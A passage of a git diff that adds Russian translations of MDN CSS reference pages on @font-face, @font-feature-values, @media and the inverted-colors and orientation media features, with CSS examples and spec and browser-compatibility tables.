+<p>Этот пример просто указывает загружаемый шрифт для использования и применяет его ко всему телу документа:</p>
+
+<p><a href="https://mdn.mozillademos.org/files/7775/webfont-sample.html">Смотреть живой пример</a></p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Web Font Sample&lt;/title&gt;
+  &lt;style type="text/css" media="screen, print"&gt;
+    @font-face {
+      font-family: "Bitstream Vera Serif Bold";
+      src: url("https://mdn.mozillademos.org/files/2468/VeraSeBd.ttf");
+    }
+
+    body { font-family: "Bitstream Vera Serif Bold", serif }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  This is Bitstream Vera Serif Bold.
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>В этом примере используется локальный пользовательский шрифт "Helvetica Neue Bold"; если у пользователя этот шрифт не установлен (используются два различных имени), тогда вместо него используется загружаемый шрифт с названием "MgOpenModernaBold.ttf":</p>
+
+<pre class="brush: css">@font-face {
+  font-family: MyHelvetica;
+  src: local("Helvetica Neue Bold"),
+       local("HelveticaNeue-Bold"),
+       url(MgOpenModernaBold.ttf);
+  font-weight: bold;
+}
+</pre>
+
+<h2 id="MIME-типы_шрифтов">MIME-типы шрифтов</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th>Формат</th>
+   <th>MIME-тип</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>TrueType</td>
+   <td><code>font/ttf</code></td>
+  </tr>
+  <tr>
+   <td>OpenType</td>
+   <td><code>font/otf</code></td>
+  </tr>
+  <tr>
+   <td>Web Open File Format</td>
+   <td><code>font/woff</code></td>
+  </tr>
+  <tr>
+   <td>Web Open File Format 2</td>
+   <td><code>font/woff2</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Заметки">Заметки</h2>
+
+<ul>
+ <li>Веб шрифты попадают под правило ограничения домена (файлы шрифтов должны находиться на том же самом домене, что и использующая их страница), если это ограничение не снимается с помощью <a href="/ru/docs/Словарь/CORS">CORS</a>.</li>
+ <li>@font-face не может быть объявлен внутри CSS-селектора. Следующий пример не будет работать:
+  <pre class="brush: css; example-bad">.className {
+  @font-face {
+    font-family: MyHelvetica;
+    src: local("Helvetica Neue Bold"), local("HelveticaNeue-Bold"),
+        url(MgOpenModernaBold.ttf);
+    font-weight: bold;
+  }
+}</pre>
+ </li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WOFF2.0', '', 'WOFF2 font format')}}</td>
+   <td>{{Spec2('WOFF2.0')}}</td>
+   <td>Спецификация нового формата шрифта с новым алгоритмом сжатия</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WOFF1.0', '', 'WOFF font format')}}</td>
+   <td>{{Spec2('WOFF1.0')}}</td>
+   <td>Спецификация формата шрифта</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-face-rule', '@font-face')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("css.at-rules.font-face")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WOFF">About WOFF</a></li>
+ <li><a href="https://everythingfonts.com/font-face">Everythingfonts font-face generator</a></li>
+ <li><a class="external" href="http://www.fontsquirrel.com/fontface/generator">FontSquirrel @font-face generator</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/">Beautiful fonts with @font-face</a></li>
+ <li><a class="external" href="http://openfontlibrary.org/">Open Font Library</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms530757(VS.85).aspx">Microsoft Developer Network (MSDN) @font-face reference</a></li>
+ <li><a class="external" href="http://caniuse.com/woff">When can I use WOFF?</a></li>
+ <li><a class="external" href="http://caniuse.com/svg-fonts">When can I use SVG Fonts?</a></li>
+</ul>
+
+<p>{{CSSRef}}</p>
diff --git a/files/ru/web/css/@font-feature-values/index.html b/files/ru/web/css/@font-feature-values/index.html
new file mode 100644
index 0000000000..5b47c95373
--- /dev/null
+++ b/files/ru/web/css/@font-feature-values/index.html
@@ -0,0 +1,88 @@
+---
+title: '@font-feature-values'
+slug: Web/CSS/@font-feature-values
+translation_of: Web/CSS/@font-feature-values
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <a href="/en-US/docs/Web/CSS/At-rule" title="At-rule">правило</a> <strong><code>@font-feature-values</code></strong> позволяет использовать общее имя в свойстве {{cssxref("font-variant-alternates")}} для функций, которые по разному активируются в OpenType. Это может помочь упростить ваш CSS при использовании нескольких шрифтов.</p>
+
+<pre class="brush: css">/* Правило для "хорошего стиля" в Font One */
+@font-feature-values Font One {
+  @styleset {
+    nice-style: 12;
+  }
+}
+
+/* Правило для "хорошего стиля" в Font Two */
+@font-feature-values Font Two {
+  @styleset {
+    nice-style: 4;
+  }
+}
+
+…
+
+/* Применение правилоа с единственым объявлением */
+.nice-look {
+  font-variant-alternates: styleset(nice-style);
+}
+</pre>
+
+<p>Правило <code>@font-feature-values</code> может использоваться как на вернем уровне вашего CSS так и внутри любого <a href="/en-US/docs/Web/CSS/At-rule#Conditional_Group_Rules" title="CSS/At-rule#Conditional_Group_Rules">условного CSS правила</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Блоки_значений_функций">Блоки значений функций</h3>
+
+<dl>
+ <dt><a name="@swash"><code>@swash</code></a></dt>
+ <dd>Устанавливает имя функции, которая будет работать с функциональной записью {{cssxref("font-variant-alternates", "swash()", "#swash()")}} для {{cssxref("font-variant-alternates")}}. Определение значения функции swash допускает только одно значение: <code>ident1: 2</code> является действительным, но <code>ident2: 2 4</code> нет.</dd>
+ <dt><a name="@annotation"><code>@annotation</code></a></dt>
+ <dd>Устанавливает имя фунции, которая будет работать с функциональной записью {{cssxref("font-variant-alternates", "annotation()", "#annotation()")}} для {{cssxref("font-variant-alternates")}}. Определение значения функции допускает только одно значение: <code>ident1: 2</code> действительным , но <code>ident2: 2 4</code> нет.</dd>
+ <dt><a name="@ornaments"><code>@ornaments</code></a></dt>
+ <dd>Устанавливает имя функции, которая будет работать с функциональной записью {{cssxref("font-variant-alternates", "ornaments()", "#ornaments()")}} для {{cssxref("font-variant-alternates")}}. Определение значения функции ornaments допускает только одно значение: <code>ident1: 2</code> является действительным, но <code>ident2: 2 4</code> нет.</dd>
+ <dt><a name="@stylistic"><code>@stylistic</code></a></dt>
+ <dd>Specifies a feature name that will work with the {{cssxref("font-variant-alternates", "stylistic()", "#stylistic()")}} functional notation of {{cssxref("font-variant-alternates")}}. A stylistic feature value definition allows only one value: <code>ident1: 2</code> is valid, but <code>ident2: 2 4</code> isn't.</dd>
+ <dt><a name="@styleset"><code>@styleset</code></a></dt>
+ <dd>Specifies a feature name that will work with the {{cssxref("font-variant-alternates", "styleset()", "#styleset()")}} functional notation of {{cssxref("font-variant-alternates")}}. A stylset feature value definition allows an unlimited number of values: <code>ident1: 2 4 12 1</code> maps to the OpenType values <code>ss02</code>, <code>ss04</code>, <code>ss12</code>, and <code>ss01</code>. Note that values higher than <code>99</code> are valid, but don't map to any OpenType values and are ignored.</dd>
+ <dt><a name="@character-variant"><code>@character-variant</code></a></dt>
+ <dd>Specifies a feature name that will work with the {{cssxref("font-variant-alternates", "character-variant()", "#character-variant()")}} functional notation of {{cssxref("font-variant-alternates")}}. A character-variant feature value definition allows either one or two values: <code>ident1: 3</code> maps to <code>cv03=1</code>, and <code>ident2: 2 4</code> maps to <code>cv02=4</code>, but <code>ident2: 2 4 5</code> is invalid.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксиси">Формальный синтаксиси</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-feature-values', '@font-feature-values')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("css.at-rules.font-feature-values")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Свойство {{cssxref("font-variant-alternates")}} которое использует значения, определенные этим правилом.</li>
+</ul>
diff --git a/files/ru/web/css/@media/index.html b/files/ru/web/css/@media/index.html
new file mode 100644
index 0000000000..93f12082be
--- /dev/null
+++ b/files/ru/web/css/@media/index.html
@@ -0,0 +1,384 @@
+---
+title: '@media'
+slug: Web/CSS/@media
+translation_of: Web/CSS/@media
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>At-правило <code>@media</code> в <a href="/ru/docs/Web/CSS">CSS</a> связывает набор операторов, ограниченных фигурными скобками, в CSS блок, применяется при соблюдении условия одного или нескольких <a href="/ru/docs/Web/CSS/Media_Queries/Using_media_queries">медиазапросов</a>.</p>
+
+<div class="blockIndicator note">
+<p>В JavaScript, at-правило <code>@media</code> может быть получено с помощью {{domxref("CSSMediaRule")}}, интерфейса объектной модели CSS.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<p>At-правило <code>@media</code> можно разместить не только на верхнем уровне CSS, но и внутри любого фрагмента <a href="/ru/docs/Web/CSS/At-rule#Conditional_group_rules">условной группы-правил</a>.</p>
+
+<pre class="brush: css"><code>/* На верхнем уровне кода */
+@media screen and (min-width: 900px) {
+  article {
+    padding: 1rem 3rem;
+  }
+}
+
+/* Вложено в другое условное at-правило */
+@supports (display: flex) {
+  @media screen and (min-width: 900px) {
+    article {
+      display: flex;
+    }
+  }
+}</code></pre>
+
+<p>Для рассмотрения синтаксиса медиазапросов, см. <a href="/ru/docs/Web/CSS/Media_Queries/Using_media_queries#Syntax">Использование медиазапросов</a>.</p>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<p>A <code>&lt;media-query&gt;</code> is composed of a optional media type and/or a number of media features.</p>
+
+<h2 id="Media_types" name="Media_types">Типы</h2>
+
+<dl>
+ <dt>all</dt>
+ <dd>Подходит для всех устройств.</dd>
+ <dt>print</dt>
+ <dd>Intended for paged material and for documents viewed on screen in print preview mode. Please consult the section on <a href="/en/CSS/Paged_Media" title="https://developer.mozilla.org/en/CSS/Paged_Media">paged media</a>, and the <a href="/en/CSS/Getting_Started/Media" title="https://developer.mozilla.org/en/CSS/Getting_Started/Media">media section of the Getting Started tutorial</a> for information about formatting issues that are specific to paged media.</dd>
+ <dt>screen</dt>
+ <dd>Предназначен в первую очередь для цветных компьютерных экранов.</dd>
+ <dt>speech</dt>
+ <dd>Предназначен для синтезаторов речи.</dd>
+</dl>
+
+<div class="note"><strong>Примечание:</strong> CSS2.1 и Media Queries 3 определили несколько дополнительных зачений (<code>tty</code>, <code>tv</code>, <code>projection</code>, <code>handheld</code>, <code>braille</code>, <code>embossed</code>, <code>aural</code>), но они устарели в <a href="http://dev.w3.org/csswg/mediaqueries/#media-types">Media Queries 4</a> и не рекомендуется к использованию.</div>
+
+<h2 id="Media_features" name="Media_features">Media Features</h2>
+
+<p>Each <em>media feature</em> tests for one specific feature of the browser or device.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>Имя</th>
+   <th>Summary</th>
+   <th>Notes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/width"><code>width</code></a></td>
+   <td>Viewport width</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/height"><code>height</code></a></td>
+   <td>Viewport height</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/aspect-ratio"><code>aspect-ratio</code></a></td>
+   <td>Width-to-height aspect ratio of the viewport</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/orientation"><code>orientation</code></a></td>
+   <td>Orientation of the viewport</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/resolution"><code>resolution</code></a></td>
+   <td>Pixel density of the output device</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/scan"><code>scan</code></a></td>
+   <td>Scanning process of the output device</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/grid"><code>grid</code></a></td>
+   <td>Is the device a grid or bitmap?</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/update-frequency"><code>update-frequency</code></a></td>
+   <td>How quickly (if at all) can the output device modify the appearance of the content</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/overflow-block"><code>overflow-block</code></a></td>
+   <td>How does the output device handle content that overflows the viewport along the block axis?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/overflow-inline"><code>overflow-inline</code></a></td>
+   <td>Can content that overflows the viewport along the inline axis be scrolled?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/color"><code>color</code></a></td>
+   <td>Number of bits per color component of the output device, or zero if the device isn't color.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/color-index"><code>color-index</code></a></td>
+   <td>Number of entries in the output device's color lookup table, or zero if the device does not use such a table.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/CSS/@media/display-mode">display-mode</a></code></td>
+   <td>The display mode of the application, as specified in the web app manifest's <a href="/en-US/docs/Web/Manifest#display">display member</a>.</td>
+   <td>Defined in the <a href="http://w3c.github.io/manifest/#the-display-mode-media-feature">Web App Manifest spec</a>.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/monochrome"><code>monochrome</code></a></td>
+   <td>Bits per pixel in the output device's monochrome frame buffer, or 0 if the device is not monochrome.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/inverted-colors"><code>inverted-colors</code></a></td>
+   <td>Is the user agent or underlying OS inverting colors?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/pointer"><code>pointer</code></a></td>
+   <td>Is the primary input mechanism a pointing device, and if so, how accurate is it?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/hover"><code>hover</code></a></td>
+   <td>Does the primary input mechanism allow the user to hover over elements?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/any-pointer"><code>any-pointer</code></a></td>
+   <td>Is any available input mechanism a pointing device, and if so, how accurate is it?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/any-hover"><code>any-hover</code></a></td>
+   <td>Does any available input mechanism allow the user to hover over elements?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/light-level"><code>light-level</code></a></td>
+   <td>Current ambient light level</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/scripting"><code>scripting</code></a></td>
+   <td>Is scripting (e.g. JavaScript) available?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/device-width"><code>device-width</code></a> {{obsolete_inline}}</td>
+   <td>Width of the rendering surface of the output device</td>
+   <td>Deprecated in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/device-height"><code>device-height</code></a> {{obsolete_inline}}</td>
+   <td>Height of the rendering surface of the output device</td>
+   <td>Deprecated in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/device-aspect-ratio"><code>device-aspect-ratio</code></a> {{obsolete_inline}}</td>
+   <td>Width-to-height aspect ratio of the output device</td>
+   <td>Deprecated in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-device-pixel-ratio"><code>-webkit-device-pixel-ratio</code></a> {{non-standard_inline}}</td>
+   <td>Number of physical device pixels per CSS pixel</td>
+   <td>Nonstandard; WebKit/Blink-specific. If possible, use the <a href="/en-US/docs/Web/CSS/@media/resolution"><code>resolution</code></a> media feature instead.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-transform-3d"><code>-webkit-transform-3d</code></a> {{non-standard_inline}}</td>
+   <td>Are CSS 3D {{cssxref("transform")}}s supported?</td>
+   <td>Nonstandard; WebKit/Blink-specific</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-transform-2d"><code>-webkit-transform-2d</code></a> {{non-standard_inline}}</td>
+   <td>Are CSS 2D {{cssxref("transform")}}s supported?</td>
+   <td>Nonstandard; WebKit-specific</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-transition"><code>-webkit-transition</code></a> {{non-standard_inline}}</td>
+   <td>Are CSS {{cssxref("transition")}}s supported?</td>
+   <td>Nonstandard; WebKit-specific</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-animation"><code>-webkit-animation</code></a> {{non-standard_inline}}</td>
+   <td>Are CSS {{cssxref("animation")}}s supported?</td>
+   <td>Nonstandard; WebKit-specific</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: css">@media print {
+  body { font-size: 10pt }
+}
+@media screen {
+  body { font-size: 13px }
+}
+@media screen, print {
+  body { line-height: 1.2 }
+}
+@media only screen
+  and (min-device-width: 320px)
+  and (max-device-width: 480px)
+  and (-webkit-min-device-pixel-ratio: 2) {
+    body { line-height: 1.4 }
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#css-media-queries', 'CSS Media Queries')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Стандартизация <code>-webkit-device-pixel-ratio</code> и <code>-webkit-transform-3d</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional', '#at-media', '@media')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Определяет базовый синтаксис правила <code>@media</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#media', '@media')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>
+    <p>Добавлены <code>scripting</code>, <code>pointer</code>, <code>hover</code>, <code>light-level</code>, <code>update-frequency</code>, <code>overflow-block</code> и <code>overflow-inline</code>.<br>
+     Исключены все media типы за исключением <code>screen</code>, <code>print</code>, <code>speech</code>, и <code>all</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#media0', '@media')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Нет изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'media.html#at-media-rule', '@media')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка(<code>all</code>, <code>print</code>, <code>screen</code>)</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop(1.7) }}</td>
+   <td>6.0</td>
+   <td>9.2</td>
+   <td>1.3</td>
+  </tr>
+  <tr>
+   <td><code>speech</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9.2</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Media features</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop(1.7) }}</td>
+   <td>9.0</td>
+   <td>9.2</td>
+   <td>1.3</td>
+  </tr>
+  <tr>
+   <td><code>display-mode</code> media feature</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(47) }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка (<code>all</code>, <code>print</code>, <code>screen</code>)</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile(1.7) }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>speech</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Media features</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile(1.7) }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>display-mode</code> media feature</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="internal" href="/en/CSS/Media_queries" title="En/CSS/Media queries">Media queries</a></li>
+ <li>The CSSOM {{ domxref("CSSMediaRule") }} associated with this at-rule.</li>
+</ul>
diff --git a/files/ru/web/css/@media/inverted-colors/index.html b/files/ru/web/css/@media/inverted-colors/index.html
new file mode 100644
index 0000000000..f56c90108b
--- /dev/null
+++ b/files/ru/web/css/@media/inverted-colors/index.html
@@ -0,0 +1,83 @@
+---
+title: inverted-colors
+slug: Web/CSS/@media/inverted-colors
+tags:
+  - '@media'
+  - CSS
+  - Media Queries
+  - Reference
+  - media feature
+translation_of: Web/CSS/@media/inverted-colors
+---
+<div>{{cssref}}</div>
+
+<p><a href="https://developer.mozilla.org/ru/docs/Web/CSS">CSS</a> <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Media_Queries/Using_media_queries">медиа функция</a> <code><strong>inverted-colors</strong></code> может использоваться для проверки, инвертирует ли {{glossary("user agent")}} или ОС цвета.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Функция <code>inverted-colors</code> указана в качестве значения ключевого слова, выбранного из списка ниже.</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>Цвета отображаются нормально.</p>
+ </dd>
+ <dt><code>inverted</code></dt>
+ <dd>Все пиксели в отображаемой области были инвертированы.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Если вы используете инвертированные цвета, этот текст должен быть синим по белому (инверсия желтого по черному). Если нет, он должен быть красным на светло-сером.&lt;/p&gt;
+&lt;p&gt;Если текст серого цвета, ваш браузер не поддерживает медиа-функцию `inverted-colors`.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  color: gray;
+}
+
+@media (inverted-colors: inverted) {
+  p {
+    background: black;
+    color: yellow;
+  }
+}
+
+@media (inverted-colors: none) {
+  p {
+    background: #eee;
+    color: red;
+  }
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#inverted', 'inverted-colors')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Отложено до Media Queries Level 5.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("css.at-rules.media.inverted-colors")}}</p>
diff --git a/files/ru/web/css/@media/orientation/index.html b/files/ru/web/css/@media/orientation/index.html
new file mode 100644
index 0000000000..723c964b8f
--- /dev/null
+++ b/files/ru/web/css/@media/orientation/index.html
@@ -0,0 +1,90 @@
+---
+title: Ориентация
+slug: Web/CSS/@media/orientation
+translation_of: Web/CSS/@media/orientation
+---
+<div>{{cssref}}</div>
+
+<p><a href="/en-US/docs/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries#Media_features">медиа-функции</a> <strong><code>orientation</code></strong> может использоваться для проверки ориентации области {{glossary("просмотра")}} (или поля страницы для <a href="/en-US/docs/Web/CSS/Paged_media">медийных страниц</a>).</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Эта функция не соответствует ориентации <em>устройства</em>. Открытие программной клавиатуры на многих устройствах в книжной ориентации приведет к тому, что область просмотра станет шире, чем высокая, в результате чего браузер будет использовать альбомные стили вместо портретного.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Функция <code>orientation</code> указывается в качестве значения ключевого слова, выбранного из списка ниже.</p>
+
+<h3 id="Значения_ключевых_слов">Значения ключевых слов</h3>
+
+<dl>
+ <dt><code>portrait</code></dt>
+ <dd>Окно просмотра находится в портретной ориентации, то есть высота больше или равна ширине.</dd>
+ <dt><code>landscape</code></dt>
+ <dd>Окно просмотра находится в альбомной ориентации, то есть ширина больше высоты.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Вставка 1&lt;/div&gt;
+&lt;div&gt;Вставка 2&lt;/div&gt;
+&lt;div&gt;Вставка 3&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">body {
+  display: flex;
+}
+
+div {
+  background: yellow;
+}
+
+@media (orientation: landscape) {
+  body {
+    flex-direction: row;
+  }
+}
+
+@media (orientation: portrait) {
+  body {
+    flex-direction: column;
+  }
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#orientation', 'orientation')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Бе изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#orientation', 'orientation')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+
+
+<p>{{Compat("css.at-rules.media.orientation")}}</p>
diff --git a/files/ru/web/css/@media/prefers-color-scheme/index.html b/files/ru/web/css/@media/prefers-color-scheme/index.html
new file mode 100644
index 0000000000..d857696181
--- /dev/null
+++ b/files/ru/web/css/@media/prefers-color-scheme/index.html
@@ -0,0 +1,96 @@
+---
+title: prefers-color-scheme
+slug: Web/CSS/@media/prefers-color-scheme
+tags:
+  - '@media'
